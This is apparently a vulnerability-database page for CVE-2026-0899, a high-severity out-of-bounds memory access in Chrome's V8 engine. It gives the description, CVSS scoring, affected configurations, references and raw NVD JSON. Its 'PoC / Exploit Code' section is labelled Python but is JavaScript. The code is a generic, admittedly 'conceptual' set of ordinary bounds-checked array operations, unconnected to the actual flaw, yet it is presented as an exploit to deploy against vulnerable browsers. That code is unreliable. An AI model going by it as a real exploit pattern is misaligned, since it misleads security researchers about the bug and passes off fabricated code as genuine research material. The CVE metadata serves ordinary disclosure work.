CVE-2026-0899

Description

Out of bounds memory access in V8 in Google Chrome prior to 144.0.7559.59 allowed a remote attacker to potentially exploit object corruption via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 144.0.7559.59

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-0899 PoC - V8 Out of Bounds Memory Access
// This is a conceptual proof of concept for educational purposes only

// Note: This PoC demonstrates the general pattern of V8 exploits
// Actual exploit requires specific Chrome version and engine internals

function triggerV8Vulnerability() {
    // Pattern 1: Array buffer out of bounds access
    try {
        const arr = new ArrayBuffer(0x100);
        const view = new Uint8Array(arr);
        // Attempt to trigger out of bounds access
        // In vulnerable versions, boundary checks may be insufficient
        for (let i = 0; i <= 0x200; i++) {
            view[i] = 0x41; // Write beyond allocated size
        }
    } catch (e) {
        console.log('Exception caught:', e.message);
    }

    // Pattern 2: Object property manipulation
    try {
        const obj = { 
            buffer: new ArrayBuffer(16),
            length: 0x1000
        };
        // Attempt to manipulate length property for OOB access
        const maliciousAccess = obj.buffer[obj.length + 0x100];
    } catch (e) {
        console.log('Exception caught:', e.message);
    }

    // Pattern 3: TypedArray misuse
    try {
        const buffer = new ArrayBuffer(64);
        const uint8 = new Uint8Array(buffer);
        // Create shared array buffer scenario
        const shared = new SharedArrayBuffer(1024);
        const sharedView = new Uint8Array(shared);
        // Timing attack or memory corruption attempt
        Atomics.store(sharedView, 0, 0xFF);
    } catch (e) {
        console.log('Exception caught:', e.message);
    }
}

// Trigger function when page loads
if (typeof window !== 'undefined') {
    window.onload = function() {
        console.log('Testing V8 vulnerability CVE-2026-0899');
        triggerV8Vulnerability();
    };
}

// HTML wrapper for the exploit
const htmlPoc = `
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-0899 Test</title>
</head>
<body>
    <h1>V8 OOB Access Test</h1>
    <p>Target: Google Chrome < 144.0.7559.59</p>
    <script>
        ${triggerV8Vulnerability.toString()}
        triggerV8Vulnerability();
    </script>
</body>
</html>
`;

console.log('PoC generated. Deploy via HTTP server and access with vulnerable Chrome version.');

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-0899
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-0899
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-0899/
[4] VulDB https://vuldb.com/cve/CVE-2026-0899
[5] https://chromereleases.googleblog.com/2026/01/stable-channel-update-for-desktop_13.html
[6] https://issues.chromium.org/issues/458914193

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-0899", "sourceIdentifier": "[email protected]", "published": "2026-01-20T05:16:12.480", "lastModified": "2026-01-29T20:20:16.770", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds memory access in V8 in Google Chrome prior to 144.0.7559.59 allowed a remote attacker to potentially exploit object corruption via a crafted HTML page. (Chromium security severity: High)"}, {"lang": "es", "value": "Acceso a memoria fuera de límites en V8 en Google Chrome anterior a 144.0.7559.59 permitió a un atacante remoto explotar potencialmente la corrupción de objetos a través de una página HTML manipulada. (Gravedad de seguridad de Chromium: Alta)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "144.0.7559.59", "matchCriteriaId": "7322229C-61DF-4A91-9816-F7796F9AABCD"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "144.0.7559.60", "matchCriteriaId": "258B923C-054B-4411-9E82-36C89A6BE4C4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/01/stable-channel-update-for-desktop_13.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/458914193", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}